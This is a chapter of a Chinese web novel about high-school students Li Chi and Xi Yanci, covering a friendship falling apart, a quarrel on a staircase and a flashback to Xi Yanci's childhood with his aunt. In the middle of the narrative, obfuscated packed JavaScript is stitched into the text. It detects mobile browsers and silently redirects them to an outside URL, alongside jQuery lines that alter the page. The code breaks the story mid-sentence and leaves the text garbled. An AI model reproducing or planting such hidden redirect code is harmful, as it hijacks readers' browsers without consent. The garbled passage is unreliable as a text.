二模结束后,黎池有好长一段时间没看见苏晓。她有点担心苏晓,去问了B班的同学。
“不清楚,考完试以后她就没来过学校,可能家里有什么事吧。”
“那你知道她家住在哪里吗?”黎池想要去看看她。
“这个我不知道。”女同学说完进了教室。
黎池回去班上,任卓程也刚从年级办公室回来,看她一副恹恹的样子问她怎么了。
她实话实说,总觉得苏晓很压抑自己,马上要高考了担心会出什么事。
任卓程笑了笑,拍拍她的肩安慰道:“苏晓的家庭比较特殊,她妈妈管教严厉很正常,你别太担心。”而后问她这周的复习总结做完没。
被这么一提醒,黎池拿出来看,还真的没有做。
最近是有点对学习不上心了。
新的一周,黎池在升旗仪式上看见了苏晓。
解散后她追了上去。
不知撞了几个人,黎池终于跟上,一边喘气一边笑盈盈地跟她打招呼。
苏晓看她满头大汗,抽了一张纸给她。
黎池接过道谢,问她:“你上周怎么没来上课啊?”
还没说话上课铃便打响,苏晓也不回答她的问题,转身回了教室。
茫茫人海之中,黎池望着渐远的背影,觉得她跟那天晚上一起和自己聊天的女孩判若两人。
“有时候呢,别人在拒绝你之后,可能是因为你们之间发生了利益冲突,保持距离是确保自己安全的最好方法。”
闻言,黎池皱起眉抬头。
席晏辞站在离她不到十厘米的地方,亦看她。
黎池退了一步,觉得此刻保持距离的应该是他们,“谢谢,但我有自己的判断能力。”说完朝教室走。
席晏辞勾了勾唇,心道脾气还不小,跟了上去。
中午,黎池去找苏晓吃饭,走到楼梯间听到了她打电话的声音。
“我知道了,妈妈。我以后不会再跟那些差生呆在一起,你放心。”
差生,指的是自己……吗?
电话结束,黎池准备走,但没了机会——
苏晓转身上楼,和她四目相对。
“苏晓,”她以为她们是朋友的,她们一起爬山,一起看日出,一起说自己的愿望,一起吃饭,一起回家,始终不敢相信,“你说的差生……是我吗?”
苏晓躲闪她的目光,说了句抱歉离开。
那天下午,黎池走了很多次神,多次是因为苏晓。
她没有太多朋友,觉得苏晓算作一个。但听到那番话时,又暗自伤心。
生活回归常态,黎池时而跟任卓程一起吃饭,时而一个人吃饭,只是再看到苏晓时绕道而行。
安栎知道这件事后替她打抱不平:“这人怎么这样?差生怎么了?差生就没有交友的权利吗?而且你也不差啊!?”
黎池一边听电话一边批刚做完的卷子。
红叉一个接一个,她叹了口气:“没关系的,以后遇见她就当没看见就好了。”
安栎不似她一般好脾气,仍觉得委屈:“你就是太善良、太温柔了,被人说难听话也忍气吞声的。”
改完算分,105分,抿了抿唇,有点失落,打算再做一遍,她拿起电话,安慰道:“跟你说完我心情就已经好很多了。你别太生气。我先改错题,挂了。”
挂断电话,黎池长呼出一口气,虽然心里面难受,但前行的路还不能停止,拿起笔继续战斗。
接下来一周,任卓程中午都不在学校吃饭,大家也都有自己的圈子,她只能一个人。
做完最后一道物理题对过答案没有错误,把卷子和笔放好,她抬头看了眼时钟,刚好十二点半,食堂正是人少的时候,起身出了教室。
下楼梯,脑子里想的是下午的计划,一不留神就撞到了迎面上来的人。
有点疼,黎池揉着脑袋头也不抬就道歉,垂眸看见一双白色潮流运动鞋和一双修长的腿。
那双长腿的主人似乎没有让路的意思,她就往旁边走了一小步准备继续下楼。
脚还悬空着就听见长腿的主人说话:“撞到人不道歉?”
黎池下楼的动作止住,心里一空,看向说话的人。
他盯着她,脸上无辜的表情好像在说“你这个坏人”。
黎池极力让自己的心跳缓慢下来,沉静思考,想要装凶狠的样子却实在不太像:“你明明就是故意的撞上来的。”
席晏辞勾起唇角抱臂靠在墙上,饶有兴趣地看她等着解释。
但黎池不想解释,她现在很饿,要吃饭!带着怒气的瞥了他一眼,快速下了楼。
到食堂后还是气不过,这人怎么那么讨厌!真搞不清楚之前是为什么喜欢他?!
-
放学,校门口被高三学生围得水泄不通。
一辆超跑停在门口,里面坐着一位大美女。
黎池和任卓程走近去看。
夺目红色敞篷法拉利,皮裙卷发大美女,标配啊。
安保人员过来驱赶,虽起了作用但也还未全走散,黎池也在人群中看见席晏辞走了过来。
席祈宴皱眉在女人面前停下,“你怎么来了?”
席禾蓝拍了一掌他脑袋,他想躲却没躲过,“没大没小的!来接你回家啊。”
黎池瞪大了眼,还是第一次见他吃别人瘪,蓦的笑出了声。
这一声,恰巧被他给听见。
席晏辞扭头看她,眼里带着“有什么好笑”的质问。
黎池敛起笑,憋红着脸拉着任卓程走了。
席禾蓝靠在车上歪头打量他们,点了点头,觉得还是小年轻有意思。
席晏辞拧着眉转过头来看见她一脸贼眉鼠眼的表情,小挪了一步刚好挡住女孩的背影,问她走不走。
席禾蓝看不到了,略微不爽:“有没有礼貌?”
席祈宴长叹一口气,把包丢进车里,做出请的姿势给她开门:“姑姑。”
席禾蓝满意了,“这才是我的大侄子嘛~”
上车后,他问她这次又是从哪里回来的。
席禾蓝爱好旅行,是个妥妥的背包客,走过的国家少数也有十几个,也是个终身不婚主义者。
“蒙古。”她回。
无边无际的草原,很好。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242138|197788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>席晏辞感叹,希望自己有一天能像她一样无拘无束地旅行,感受山河辽阔,人间烟火。
席禾蓝看后视镜笑了笑,还能不懂他是什么心思。
十一岁从羊城机场接回,小小的个子拖着的行李箱都比他高。叫他,不答应;给他买玩具,不要。她觉得这孩子脾气太臭,给她哥打电话说管不了。
可电话刚打出去就后悔了。
美国出生,父母感情一直不和,五岁回北城跟着父亲,母亲常居美国。
一次从非洲回国,她看见蜷缩在被窝里的席晏辞——满头大汗,嘴唇发白,满脸泪水,手捂着肚子,不叫唤也不哭出声。
席禾蓝急忙送去医院,医生说是食物中毒,还好来得及时。
后来她这才知道这孩子根本没人管,饿了就找阿姨,可那天阿姨刚好请了假,自己误食了过期零食。
席禾蓝指责席必城怎么看孩子的。席必城人在国外,给艾曼打了通电话,两人因此又吵了一架。
她便知道了,这孩子谁也不想要。
五岁的席晏辞站在门口,眼巴巴地望着她,问爸爸妈妈是不是吵架了。
席禾蓝蹲下,问他要不要和自己去羊城。
小男孩摇头,说要是去了爸爸妈妈就不爱他了。
来到羊城第二年,席晏辞被查出患有小儿自闭症。
那是他最难的一年,但在席禾蓝和林寻舟的帮助下,自闭症在半年后好转。
就这样,他在羊城一呆就是七年。
这里也算是他第二个家。
超跑外的绿化带一眼飘过,席晏辞单手撑着额头闭眼,席禾蓝看后了眼视镜的人笑:“高三也没有很累吧,毕竟你学习还不错!”
席晏辞睁开眼,有点烦躁。“不是因为学习。”
“那是因为感情?”十七八岁的男生女生正是情窦初开的时候,她问。
犹豫几秒,他道:“也不是。”
什么都不是,那就是不想说。
席禾蓝耸肩,不问了。
席言辞坐立不安,连连叹气,思来想去都是黎池拉着任卓程离开的画面。
一个女生主动去拉一个男生,这很难不让人怀疑!
席禾蓝受不了磨磨叽叽,拧着眉问他能不能好好坐着。
席晏辞哪能,转过身问她一个女生主动去拉一个男生是什么意思。
“能是什么意思,喜欢他呗!”而后问,“怎么,你们班有小女生拉你手了?”
“不是我!”
“哦~”席禾蓝点头,“那就是你喜欢的女生拉别的男生手了。”
席晏辞正要反驳,想想算了,他姑姑一不婚主义,什么也不懂!
傍晚,黎池吃过饭洗完澡出来,乔英正好收市回来,后面还跟着一个乐呵呵的黎东树。
门微微掩着,黎池看见乔英挣过黎东树手里的包推搡着他赶快离开。
黎东树似乎不太舍得,想要一个拥抱,但被乔英拒绝。
最后,黎东树趁乔英不注意在她脸上亲了一口,飞快逃掉。
黎池瞪大了眼,脸涨红起来。
爱情,那么……大胆的吗?